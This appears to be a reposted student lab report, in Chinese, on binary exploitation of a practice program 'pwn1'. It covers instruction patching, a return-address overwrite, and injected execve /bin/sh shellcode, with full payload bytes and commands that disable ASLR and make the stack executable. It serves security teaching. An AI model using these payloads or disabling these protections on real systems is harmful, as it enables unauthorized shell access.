20165307《网络对抗技术》Exp1 PC平台逆向破解
實驗內(nèi)容
知識點描述
掌握NOP, JNE, JE, JMP, CMP匯編指令的機器碼
- NOP:無作用。
- JNE:若不相等則跳。
- JE:若相等則跳。
- JMP:無條件轉(zhuǎn)移指令。段內(nèi)直接短轉(zhuǎn)Jmp short,段內(nèi)直接近轉(zhuǎn)移Jmp near,段內(nèi)間接轉(zhuǎn)移Jmp word,段間直接轉(zhuǎn)移Jmp far。
- CMP:比較指令,它不保存結(jié)果,只是影響相應的標志位。
掌握反匯編與十六進制編程器
- 反匯編指令:objdump -d objfile
- 十六進制編程器:
能正確修改機器指令改變程序執(zhí)行流程
見實驗步驟
能正確構(gòu)造payload進行bof攻擊
見實驗步驟
實驗步驟
任務(wù)一:直接修改程序機器指令,改變程序執(zhí)行流程
- 下載目標文件pwn1,用objdump -d pwn1 | more命令進行反匯編:
vim pwn1
esc->:%!xxd 將顯示模式切換為16進制模式:
找到e8d7,將其修改為e8c3
再用objdump -d pwn1 | more命令反匯編看一下,call指令是否正確調(diào)用getShell:
./pwn1運行改后的代碼,會得到shell提示符#:
任務(wù)二:通過構(gòu)造輸入?yún)?shù),造成BOF攻擊,改變程序執(zhí)行流
用objdump -d pwn1 | more命令反匯編:
確認輸入字符串中哪幾個字符會覆蓋到返回地址
如果輸入字符串 1111111122222222333333334444444412345678,那 1234 那四個數(shù)會覆蓋到堆棧上的返回地址,所以只要把這四個字符替換為getShell的內(nèi)存地址,輸入給pwn1,pwn1就會運行g(shù)etShell
getShell的內(nèi)存地址,通過反匯編時可以看到,即 0804847d 。應輸入11111111222222223333333344444444\x7d\x84\x04\x08
構(gòu)造輸入字符串 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input 。然后將input的輸入,通過管道符“|”,作為pwn1的輸入 (cat input; cat) | ./pwn1
任務(wù)三:注入Shellcode并執(zhí)行
修改設(shè)置
apt-get install execstack 安裝execstack命令
execstack -s pwn1 設(shè)置堆棧可執(zhí)行
execstack -q pwn1 查詢文件的堆棧是否可執(zhí)行
more /proc/sys/kernel/randomize_va_space 查詢是否關(guān)閉地址隨機化
echo "0" > /proc/sys/kernel/randomize_va_space 關(guān)閉地址隨機化
more /proc/sys/kernel/randomize_va_space 查詢是否關(guān)閉地址隨機化
2.構(gòu)造要注入的payload
使用命令 perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode 其中前面32個A用來填滿緩沖區(qū)buf,\x04\x03\x02\x01為預留的返回地址retaddr:
接下來確定\x4\x3\x2\x1該填什么:
打開一個終端注入這段攻擊buf: (cat input_shellcode;cat) | ./20165307pwn1
再打開另外一個終端,用gdb來調(diào)試pwn1這個進程:用ps -ef | grep 20165307pwn1命令找到pwn1的進程號是:2854
用gdb attach 2854 命令啟動gdb調(diào)試這個進程:
用 disassemble foo 命令反匯編:
用 break *0x080484ae 命令設(shè)置斷點,在進程正在運行的終端敲回車,輸入c命令繼續(xù)運行,使其繼續(xù)執(zhí)行。再返回調(diào)試終端,使用 info r esp命令查找地址。用x/16x 0xffffd2fc 命令查看其存放內(nèi)容,看到了0x01020304,就是返回地址的位置。
根據(jù)我們構(gòu)造的input_shellcode可知,shellcode就在其后,所以地址應為 0xffffd300 :
接下來只需要將之前的\x4\x3\x2\x1改為這個地址即可,用命令 perl -e 'print "A" x 32;print "\x00\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
再用 (cat input_shellcode;cat) | ./20165307pwn1命令執(zhí)行程序,攻擊成功
實驗感想
實驗收獲與感想
在這次實驗中實現(xiàn)了緩沖區(qū)溢出,加深了我對堆棧的理解。
什么是漏洞?漏洞有什么危害?
漏洞是系統(tǒng)的缺陷,可以使攻擊者能夠在未授權(quán)的情況下訪問或破壞系統(tǒng)。
轉(zhuǎn)載于:https://www.cnblogs.com/wangzhe1998/p/10543342.html
總結(jié)
以上是生活随笔為你收集整理的20165307《网络对抗技术》Exp1 PC平台逆向破解的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【CSS】当图片加载缓慢时,图片如何自适
- 下一篇: bootstrap-multiselec